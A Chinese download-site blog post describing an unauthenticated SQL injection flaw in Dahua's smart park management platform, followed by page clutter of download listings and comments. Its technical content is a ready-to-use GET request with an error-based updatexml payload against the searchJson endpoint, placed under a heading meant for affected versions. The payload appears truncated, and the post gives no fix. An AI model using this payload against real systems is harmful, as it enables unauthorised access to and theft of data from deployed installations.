[安全防护] 大华智慧园区综合管理平台searchJson SQL注入漏洞
作者:CC下载站 日期:2023-09-20 02:33:37 浏览:53 分类:web
一、漏洞简介
“大华智慧园区综合管理平台”是一款综合管理平台,具备园区运营、资源调配和智能服务等功能。平台意在协助优化园区资源分配,满足多元化的管理需求,同时通过提供智能服务,增强使用体验。大华智慧园区综合管理平台未对用户的输入进行有效的过滤,直接将其拼接进了SQL查询语句中,导致系统出现SQL注入漏洞。远程未授权攻击者可利用此漏洞获取敏感信息,进一步利用可能获取目标系统权限。
二、影响版本
GET /portal/services/carQuery/getFaceCapture/searchJson/%7B%7D/pageJson/%7B%22orderBy%22:%221%20and%201=updatexml(1,concat(0x7e,(select%20user()),0x7e)
猜你还喜欢
- 06-04 [网络技术] 获取免费 .edu 邮箱&教育邮箱优惠汇总
- 06-04 [web] 5分钟快速申请一个EDU教育邮箱
- 04-01 [科学上网] 直连、中转、专线机场有什么区别|良心高效专线机场推荐|hy2机场推荐
- 03-29 [web] 免费公共DNS大全(IPv6+IPv4)
- 03-29 [玩技术] CTFHUB刷题笔记
- 03-22 [AI配音] 有哪些好用的AI智能配音工具值得推荐?
- 03-15 [web] 轻松申请免费域名并绑定到个人网站 | link顶级域名
- 03-15 [运营] 亚马逊如何选品?产品市场分析怎么做?包括哪些方面?
- 03-15 [web] 3分钟,免费拥有你的专属域名——免费一级域名注册申请及域名解析教程
- 03-14 [学习] 必看!手把手教你自动续期微软E5账号,长期畅享5T OneDrive云盘!
- 03-14 [学习] 白嫖5T微软的OneDrive云盘,微软E5申请,真正的免费不限速!
- 03-14 [学习] 微软onedrive E5创建子账号,实现125T云盘空间25账号,附带Office365激活
取消回复欢迎 你 发表评论:
- 精品推荐!
-
- 最新文章
- 热门文章
- 热评文章
[影视资讯] 从黄暴神作到烂尾,现在更新完后打几分?
[网络软件] IPTools(IP地址修改器) v5.0.6.6 中文绿色版
[办公软件] Office Uninstall(删除微软Office产品) v2.0.2 绿色版
[Android] 万能AI证件照 v1.3.2 —— 高清证件照制作工具(可离线)
[电视剧集] [BT下载][美国恐怖故事集 第三季][全4集][WEB-MKV/22.42G][中文字幕][4K-2160P][H265][BlackTV]
[高清剧集] 美国恐怖故事 第十二季[全9集][中文字幕].American.Horror.Story.S12.1080p.DSNP.WEB-DL.DDP.5.1.H.264-BlackTV 11.51GB
[资料] 火锅教程大全
[影视杂谈] 宋轶演累了,白敬亭要哭了。
[资料] 知识星球【生财有术】付费内容
[图库] 王者荣耀全皮肤、风景壁纸、4K风景壁纸、精选8K壁纸、 英雄联盟壁纸、王者荣耀PC壁纸、杨超越2K壁纸、闭月羞花
[短剧] 蓄意引诱禁欲老公又野又撩&婚约老公他明宠暗撩(98集)
[电视剧] 庆余年 第二季[迪士尼无广告版][全36集][国语音轨/中文字幕].Joy.of.Life.2.S02.1080p.DSNP.WEB-DL.AAC.2.0.H.265-BlackTV
[Android] 阅读APP(小说软件)v3.23.032021 解除限制版
[瓜] 5.26日吃瓜热门合集
[电影] 2024年韩国恐怖惊悚片《破墓》HD韩语中字
[短剧] 10部午夜小短剧 擦边剧
[书籍] 《炁体源流(上下册)》 道家养生经典辑录 米晶子[pdf]
[写真] Jiu Shi A Zhu A 就是阿朱啊 - 优享合集
[有声读物] 冯唐讲《资治通鉴》(完结)【MP3】
[音乐] 低音炮车载340首
[影视] 母亲的直觉 WEB-DL版下载/亡命母侵 美版/母性本能 2024 Mothers’ Instinct 10.58G
[影视] 九龙城寨之围城 WEB-DL版下载/九龙城寨 / Twilight of the Warriors: Walled In 2024 九龍城寨·圍城 22.68G
[短剧] 蓄意引诱禁欲老公又野又撩&婚约老公他明宠暗撩(98集)
[瓜] 5.27日吃瓜热门合集
[电影] 韩国最出色的十一部R限制级合集
[资源嗅探] 万能嗅探1.0.5【可抓视频号】免安装 批量抓取媒体文件
[影视资讯] 从黄暴神作到烂尾,现在更新完后打几分?
[瓜] 5.26日吃瓜热门合集
[Android] 阅读APP(小说软件)v3.23.032021 解除限制版
[电影] [BT下载][蜘蛛夫人:超感觉醒][WEB-MKV/1.77GB][国英多音轨/中文字幕][1080P][流媒体][BATWEB小组作品]
- 最新评论
-
爱看走马 评论于:07-10 这个确实很想看,感谢。qwer9009 评论于:07-04 针不戳走马 评论于:06-25 很棒的资源,支持一下jason27 评论于:06-24 让我看看!zhangxxo 评论于:06-23 感谢分享Sanjwinds@ 评论于:06-21 我看了下,失效了,我抽空补CC下载站 评论于:06-19 希望可以下cool000068 评论于:06-18 还是想看看海瑟薇啊。qwer9009 评论于:06-17 谢谢支持!!有失效的可以留言,我抽空补CC下载站 评论于:05-27
- 热门tag